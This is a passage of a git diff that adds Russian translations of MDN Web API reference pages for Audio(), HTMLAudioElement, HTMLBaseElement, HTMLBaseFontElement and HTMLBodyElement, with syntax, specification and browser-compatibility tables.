+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>username</code>, <code>password</code>, and <code>origin</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("26.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>referrer</code> {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("42")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>download</code> {{experimental_inline}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>username</code>, <code>password</code>, and <code>origin</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("26.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>referrer</code> {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("42.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>HTML элемент реализующий этот интерфейс: {{ HTMLElement("area") }}.</li>
+</ul>
diff --git a/files/ru/web/api/htmlaudioelement/audio()/index.html b/files/ru/web/api/htmlaudioelement/audio()/index.html
new file mode 100644
index 0000000000..4d9e39dfab
--- /dev/null
+++ b/files/ru/web/api/htmlaudioelement/audio()/index.html
@@ -0,0 +1,85 @@
+---
+title: Audio()
+slug: Web/API/HTMLAudioElement/Audio()
+tags:
+  - аудио
+translation_of: Web/API/HTMLAudioElement/Audio
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p><span class="seoSummary">Конструктор <code><strong>Audio()</strong></code> создает и возвращает новый {{domxref("HTMLAudioElement")}} объект, который может быть прикреплен к документу, чтобы пользователь мог взаимодействовать и/или слушать его, либо может использоваться вне экрана для управления и воспроизведения звука.</span></p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><em>audioObj</em> = new Audio(<em>url</em>);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>url</code> {{optional_inline}}</dt>
+ <dd>Необязательный параметр {{domxref("DOMString")}}, содержащий URL-адрес аудиофайла, который будет связан с новым аудиоэлементом.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Новый {{domxref("HTMLAudioElement")}} объект, настроенный для воспроизведения файла, указанного в <code>url</code>. Свойство {{domxref("HTMLMediaElement.preload", "preload")}} нового объекта имеет значение по умолчанию <code>auto</code>, а его свойство <code>src</code> — указанный URL-адрес или <code>null</code>, если адрес не указан. Если указан URL-адрес, браузер начинает <em>асинхронно</em> загружать медиаресурс перед возвратом нового объекта.</p>
+
+<ul>
+</ul>
+
+<h2 id="Примечания_по_использованию">Примечания по использованию</h2>
+
+<p>Вы также можете использовать другие методы создания элементов, такие как метод {{domxref("Document.createElement", "createElement()")}} объекта {{domxref("document")}}, для создания нового {{domxref("HTMLAudioElement")}} объекта.</p>
+
+<h3 id="Определение_когда_воспроизведение_может_начаться">Определение, когда воспроизведение может начаться</h3>
+
+<p>Существует три способа определить насколько аудио-файл загружен, чтобы начать воспроизведение:</p>
+
+<ul>
+ <li>Проверьте значение свойства {{domxref("HTMLMediaElement.readyState", "readyState")}}. Если оно равняется <code>HTMLMediaElement.HAVE_FUTURE_DATA</code>, значит загружено достаточно данных, чтобы начать воспроизведение и проиграть хотя бы короткое время. Если <code>HTMLMediaElement.HAVE_ENOUGH_DATA</code> — доступно достаточно данных, чтобы воспроизводить аудио до конца без прерываний, учитывая текущую скорость загрузки.</li>
+ <li>Прослушайте событие {{domxref("HTMLMediaElement.canplay_event", "canplay")}}. Оно отправляется элементу <code>&lt;audio&gt;</code>, когда достаточно данных для воспроизведения (хотя возможны прерывания).</li>
+ <li>Прослушайте событие {{domxref("HTMLMediaElement.canplaythrough_event", "canplaythrough")}}. Оно отправляется, когда предполагается, что аудио должно воспроизводиться до конца без прерываний.</li>
+</ul>
+
+<p>Лучший подход, основанный на событии:</p>
+
+<pre class="brush: js notranslate">myAudioElement.addEventListener("canplaythrough", event =&gt; {
+  /* аудио может быть воспроизведено; проиграть, если позволяют разрешения */
+  myAudioElement.play();
+});</pre>
+
+<h3 id="Использование_памяти_и_управление">Использование памяти и управление</h3>
+
+<p>Если все ссылки на аудиоэлемент, созданные с помощью конструктора <code>Audio()</code> удалены, сам элемент не будет удален из памяти механизмом сборщика мусора JavaScript, если в данный момент идет воспроизведение. Вместо этого продолжится воспроизведение и объект останется в памяти до тех пор, пока не закончится аудио или оно не будет приостановлено (например, путем вызова {{domxref("HTMLMediaElement.pause", "pause()")}}). В этот момент объект подлежит уничтожению сборщиком мусора.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#dom-audio", "Audio()")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>Таблица совместимости на этой странице генерируется из структурированных данных. Если Вы хотите внести свой вклад в эти данные, просмотрите <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправте нам Pull-запрос.</p>
+
+<p>{{Compat("api.HTMLAudioElement.Audio")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Media">Web media technologies</a></li>
+ <li>HTML-элемент, реализующий этот интерфейс: {{HTMLElement("audio")}}.</li>
+</ul>
diff --git a/files/ru/web/api/htmlaudioelement/index.html b/files/ru/web/api/htmlaudioelement/index.html
new file mode 100644
index 0000000000..c5220d62d0
--- /dev/null
+++ b/files/ru/web/api/htmlaudioelement/index.html
@@ -0,0 +1,171 @@
+---
+title: HTMLAudioElement
+slug: Web/API/HTMLAudioElement
+translation_of: Web/API/HTMLAudioElement
+---
+<div>
+<div>{{APIRef("HTML DOM")}}</div>
+</div>
+
+<div> </div>
+
+<p><strong><code>HTMLAudioElement</code></strong> позволяет получить доступ к элементу  {{HTMLElement("audio")}} и имеет DOM элемент {{domxref("HTMLMediaElement")}}.</p>
+
+<h2 id="Properties" name="Properties">Свойства</h2>
+
+<p><em>Не имеет своих свойств; наследует свойства от родителя {{domxref("HTMLMediaElement")}} и от {{domxref("HTMLElement")}}.</em></p>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+
+<p><em>Наследует методы от родителя {{domxref("HTMLMediaElement")}} и от {{domxref("HTMLElement")}}.</em></p>
+
+<h3 id="Конструктор">Конструктор</h3>
+
+<h4 id="Синтаксис">Синтаксис</h4>
+
+<pre class="syntaxbox">mySound = new Audio([<em>URLString</em>]);
+</pre>
+
+<h4 id="Описание">Описание</h4>
+
+<p>Конструктор audio элемента. Свойство <code>preload</code> по умолчанию задано как <code>auto</code>, а <code>src</code> равно значению аргумента <em>URLString.</em> Перед воспроизведением, браузер асинхронно загружает объект в кэш и впоследствии берет данные оттуда.</p>
+
+<p>Параметры</p>
+
+<dl>
+ <dt><code>URLString</code> (expected type: {{domxref("DOMString")}}; optional)</dt>
+ <dd>'src' для 'audio' тега. (URL , с которого должен получать mp3 файл)</dd>
+</dl>
+
+<h3 id="Регулярные_методы">Регулярные методы</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Name &amp; Arguments</th>
+   <th scope="col">Return</th>
+   <th scope="col">Description</th>
+  </tr>
+  <tr>
+   <td><code>mozCurrentSampleOffset()</code> {{non-standard_inline}}</td>
+   <td><code>unsigned long long</code></td>
+   <td><code>Отображает текущую нагрузку аудиострима, который был создан методом mozWriteAudio()</code>. Эта цифра отражает количество сэмплов с момента начала стрима</td>
+  </tr>
+  <tr>
+   <td>
+    <p><code>mozSetup(in PRUint32 channels, in PRUint32 rate)</code> {{non-standard_inline}}</p>
+   </td>
+   <td><code>void</code></td>
+   <td>Создает аудиострима для записи. Вы можете указать такие параметры, как количество каналов  (<code>1</code> for mono or <code>2</code> for stereo), так и частота сэмпла (<code>44100</code> for 44.1kHz, for example).</td>
+  </tr>
+  <tr>
+   <td><code>mozWriteAudio(in jsval data) </code>{{non-standard_inline}}</td>
+   <td><code>unsigned long</code></td>
+   <td>Запускает аудио стрим на текущую частоту. Возращает количество байтов, которые записаны в стрим</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "the-video-element.html#the-audio-element", "HTMLAudioElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Нет изменений {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "embedded-content-0.html#the-audio-element", "HTMLAudioElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузеров">Поддержка браузеров</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>
+    <p> </p>
+
+    <table>
+     <tbody>
+      <tr>
+       <th>Особенность</th>
+      </tr>
+     </tbody>
+    </table>
+   </th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1.9.1)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>С поддержкой фич mozSetup()</code>, <code>mozCurrentSampleOffset()</code>, <code>mozWriteAudio()</code> {{non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(2.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Фича</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.9.1)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>С поддержкой фич mozSetup()</code>, <code>mozCurrentSampleOffset()</code>, <code>mozWriteAudio()</code> {{non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(2.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>HTML element implementing this interface: {{HTMLElement("audio")}}.</li>
+</ul>
diff --git a/files/ru/web/api/htmlbaseelement/index.html b/files/ru/web/api/htmlbaseelement/index.html
new file mode 100644
index 0000000000..fd7b39d997
--- /dev/null
+++ b/files/ru/web/api/htmlbaseelement/index.html
@@ -0,0 +1,120 @@
+---
+title: HTMLBaseElement
+slug: Web/API/HTMLBaseElement
+translation_of: Web/API/HTMLBaseElement
+---
+<div>
+<div>{{APIRef("HTML DOM")}}</div>
+</div>
+
+<div> </div>
+
+<p><strong><code>HTMLBaseElement</code></strong> интерфейс содержит базовый URI для документа. Этот объект наследует все свойства и методы которые описаны в {{domxref("HTMLElement")}} интерфейсе.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Наследует свойства от его родителя, {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLBaseElement.href")}}</dt>
+ <dd>IЭто {{domxref("DOMString")}} которая отображает {{htmlattrxref("href", "base")}} HTML атрибут, содержащий базовый URL относительно URLs ы документе.</dd>
+ <dt>{{domxref("HTMLBaseElement.target")}}</dt>
+ <dd>Это {{domxref("DOMString")}} которое отображает {{htmlattrxref("target", "base")}} HTML атрибут, содержащий контекст цели просмотра по умолчанию или фрейм для элементов которые не имеют указанную целевую ссылку.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Не имеет специфичных методов; наследует атрибуты от своего родителя, {{domxref("HTMLElement")}}.</em></p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификации</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "semantics.html#the-base-element", "HTMLBaseElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Не изменилось с последнего снимка, {{SpecName("HTML5.1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "document-metadata.html#the-base-element", "HTMLBaseElement")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Не изменилось с {{SpecName("HTML5 W3C")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "document-metadata.html#the-base-element", "HTMLBaseElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Не изменилось с {{SpecName("DOM2 HTML")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-73629039', 'HTMLBaseElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>Не изменилось с {{SpecName("DOM1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-73629039', 'HTMLBaseElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Изначальное описание.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>HTML элемент реализующий этот интерфейс: {{ HTMLElement("base") }}</li>
+</ul>
diff --git a/files/ru/web/api/htmlbasefontelement/index.html b/files/ru/web/api/htmlbasefontelement/index.html
new file mode 100644
index 0000000000..6d5d0ce86b
--- /dev/null
+++ b/files/ru/web/api/htmlbasefontelement/index.html
@@ -0,0 +1,105 @@
+---
+title: HTMLBaseFontElement
+slug: Web/API/HTMLBaseFontElement
+translation_of: Web/API/HTMLBaseFontElement
+---
+<p>{{APIRef("HTML DOM")}} {{obsolete_header}}</p>
+
+<p><strong><code>HTMLBaseFontElement</code></strong>интерфейс предоставляющий специальные свойства (помимо тех постоянных объектов  {{domxref("HTMLElement")}} интерфейса, доступных ему также по наследству) для манипулирования {{HTMLElement("basefont")}} элементами.</p>
+
+<p><code>элемент &lt;basefont&gt;</code> устарел HTML4 и удален в HTML5. Это последняя спецификация которая этот элемент реализует This latest specification requires that this element implements {{domxref("HTMLUnknownElement")}} вместо <code>HTMLBaseFontElement</code>.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Наследует свойства от его родителя, {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt><code>HTMLBaseFontElement.color</code></dt>
+ <dd>Это {{domxref("DOMString")}} представляющий цвет текста, используя либо именованый цвет или цвет определенный в шестнадцатиричном формате <code>#RRGGBB</code>.</dd>
+ <dt><code>HTMLBaseFontElement.face</code></dt>
+ <dd>Это {{domxref("DOMString")}} представляющий список из одного или более имени шрифтов. Текст документа отображается в стиле по умолчанию, первым поддерживаемым клиентским браузером шрифтом. Если нет установленного шрифта на локальной системе, браузер обычно по умочанию, устанавливает пропорциональный или фиксированной ширины шрифт для этой системы.</dd>
+ <dt><code>HTMLBaseFontElement.size</code></dt>
+ <dd>{{domxref("DOMString")}} предоставляет размер шрифта или как числовое значение или как относительное значение. Числовые значения в диапозоне от 1 до 7, где 1 самое маленькое значение и три значение по умолчанию. Относительное значение начинается с '+' или '-'<code>.</code></dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+
+<p><em>Не имеет специфичных методов; наследует методы от родителя, {{domxref("HTMLElement")}}.</em></p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>Удалено.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', "level-one-html.html#ID-32774408", "HTMLBaseFontElement")}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Изначальное описание.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>HTML элемент {{HTMLElement("basefont")}}осуществляющий этот интерфейс.</li>
+</ul>
diff --git a/files/ru/web/api/htmlbodyelement/index.html b/files/ru/web/api/htmlbodyelement/index.html
new file mode 100644
index 0000000000..6fdca0b453
--- /dev/null
+++ b/files/ru/web/api/htmlbodyelement/index.html
@@ -0,0 +1,194 @@
+---
+title: HTMLBodyElement
+slug: Web/API/HTMLBodyElement
+translation_of: Web/API/HTMLBodyElement
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><strong><code>HTMLBodyElement</code></strong> интерфейс предоставляющий специальные свойства (помимо этого, они постоянно наследуют {{ domxref("HTMLElement") }} интерфейс) для манипуляции элементами тела.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Наследует свойства о его родителя, {{domxref("HTMLElement")}} и от {{domxref("WindowEventHandlers")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLBodyElement.aLink")}} {{obsolete_inline}}</dt>
+ <dd>Это {{ domxref("DOMString") }} который представляет цвет активных гиперссылок.</dd>
+ <dt>{{domxref("HTMLBodyElement.background")}} {{obsolete_inline}}</dt>
+ <dd>Это {{ domxref("DOMString") }} который представляет собой описание расположения фонового изображения ресурса. Обратите внимание, что это не URI, хотя в некоторых старых версиях некоторых браузеров ожидается именно это.</dd>
+ <dt>{{domxref("HTMLBodyElement.bgColor")}} {{obsolete_inline}}</dt>
+ <dd>Это {{ domxref("DOMString") }} который представляет собой цвет фона для документа.</dd>
+ <dt>{{domxref("HTMLBodyElement.link")}} {{obsolete_inline}}</dt>
+ <dd>Это {{ domxref("DOMString") }} который представляет собой цвет непосещенных ссылок.</dd>
+ <dt>{{domxref("HTMLBodyElement.text")}} {{obsolete_inline}}</dt>
+ <dd>Это {{ domxref("DOMString") }} который представляет собой основной цвет текста.</dd>
+ <dt>{{domxref("HTMLBodyElement.vLink")}} {{obsolete_inline}}</dt>
+ <dd>Это {{ domxref("DOMString") }} который представляет собой цвет посещенных ссылок.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Не имеет специфичных методов; наследует методы от его родителя, {{domxref("HTMLElement")}} и от {{domxref("WindowEventHandlers")}}</em><em>.</em></p>
+
+<h2 id="Обработчики_событий">Обработчики событий</h2>
+
+<p><em>Не имеет специфичных обработчиков событий; наследует обработчики событий от его родителя, {{domxref("HTMLElement")}} и от {{domxref("WindowEventHandlers")}}</em><em>.</em></p>
+
+<dl>
+ <dt>{{domxref("WindowEventHandlers.onafterprint")}}</dt>
+ <dd>Это {{domxref("EventHandler")}} представляющий собой код который будет вызван когда {{event("afterprint")}} событие будет вызвано.</dd>
+ <dt>{{domxref("WindowEventHandlers.onbeforeprint")}}</dt>
+ <dd>Это {{domxref("EventHandler")}}  представляющее собой код который будет вызван когда событие {{event("beforeprint")}} вызвано.</dd>
+ <dt>{{domxref("WindowEventHandlers.onbeforeunload")}}</dt>
+ <dd>Это {{domxref("EventHandler")}} представляющее собой код который будет вызван когда событие {{event("beforeunload")}} вызванно.</dd>
+ <dt>{{domxref("WindowEventHandlers.onhashchange")}}</dt>
+ <dd>Это {{domxref("EventHandler")}}  представляющее собой код который будет вызван когда событие {{event("hashchange")}} вызванно.</dd>
+ <dt>{{domxref("WindowEventHandlers.onlanguagechange")}} {{experimental_inline}}</dt>
+ <dd>Это {{domxref("EventHandler")}}  представляющее собой код который будет вызван когда событие {{event("languagechange")}} вызванно.</dd>
+ <dt>{{domxref("WindowEventHandlers.onmessage")}}</dt>
+ <dd>Это {{domxref("EventHandler")}}  представляющее собой код который будет вызван когда событие {{event("message")}} вызванно.</dd>
+ <dt>{{domxref("WindowEventHandlers.onoffline")}}</dt>
+ <dd>Это {{domxref("EventHandler")}}  представляющее собой код который будет вызван когда событие {{event("offline")}} вызванно.</dd>
+ <dt>{{domxref("WindowEventHandlers.ononline")}}</dt>
+ <dd>Это {{domxref("EventHandler")}}  представляющее собой код который будет вызван когда событие {{event("online")}} вызванно.</dd>
+ <dt>{{domxref("WindowEventHandlers.onpagehide")}}</dt>
+ <dd>Это {{domxref("EventHandler")}}  представляющее собой код который будет вызван когда событие {{event("pagehide")}} вызванно.</dd>
+ <dt>{{domxref("WindowEventHandlers.onpageshow")}}</dt>
+ <dd>Это {{domxref("EventHandler")}}  представляющее собой код который будет вызван когда событие {{event("pageshow")}} вызванно.</dd>
+ <dt>{{domxref("WindowEventHandlers.onpopstate")}}</dt>
+ <dd>Это {{domxref("EventHandler")}}  представляющее собой код который будет вызван когда событие {{event("popstate")}} вызванно.</dd>
+ <dt>{{domxref("WindowEventHandlers.onresize")}}</dt>
+ <dd>Это {{domxref("EventHandler")}}  представляющее собой код который будет вызван когда событие {{event("resize")}} вызванно.</dd>
+ <dt>{{domxref("WindowEventHandlers.onstorage")}}</dt>
+ <dd>Это {{domxref("EventHandler")}}  представляющее собой код который будет вызван когда событие {{event("storage")}} вызванно.</dd>
+ <dt>{{domxref("WindowEventHandlers.onunload")}}</dt>
+ <dd>Это {{domxref("EventHandler")}}  представляющее собой код который будет вызван когда событие {{event("unload")}} вызванно.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "sections.html#the-body-element", "HTMLBodyElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Технически, событийно связанные свойства, <code>onafterprint</code>, <code>onbeforeprint</code>, <code>onbeforeunload</code>, <code>onblur</code>, <code>onerror</code>, <code>onfocus</code>, <code>onhashchange</code>, <code>onlanguagechange</code>, <code>onload</code>, <code>onmessage</code>, <code>onoffline</code>, <code>ononline</code>, <code>onpopstate</code>, <code>onresize</code>, <code>onstorage</code>, и <code>onunload</code>, были перемещены в {{domxref("WindowEventHandlers")}}, и <code>HTMLBodyElement</code> реализует этот интерфейс.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "sections.html#the-body-element", "HTMLBodyElement")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "sections.html#the-body-element", "HTMLBodyElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Следующие свойства в настоящее время устарели: <code>aLink</code>, <code>bgColor</code>, <code>background</code>, <code>link</code>, <code>text</code>, and <code>vLink</code>.<br>
+    Следующие свойства были добавлены: <code>onafterprint</code>, <code>onbeforeprint</code>, <code>onbeforeunload</code>, <code>onblur</code>, <code>onerror</code>, <code>onfocus</code>, <code>onhashchange</code>, <code>onload</code>, <code>onmessage</code>, <code>onoffline</code>, <code>ononline</code>, <code>onpopstate</code>, <code>onresize</code>, <code>onstorage</code>, and <code>onunload</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-62018039', 'HTMLBodyElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>не измелось с  {{SpecName("DOM1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-62018039', 'HTMLBodyElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Изначальное описание.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop(1.0)}} [1]</td>
+   <td>4.0</td>
+   <td>{{CompatVersionUnknown}} [1]</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onXYZ</code> обработчики событий</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
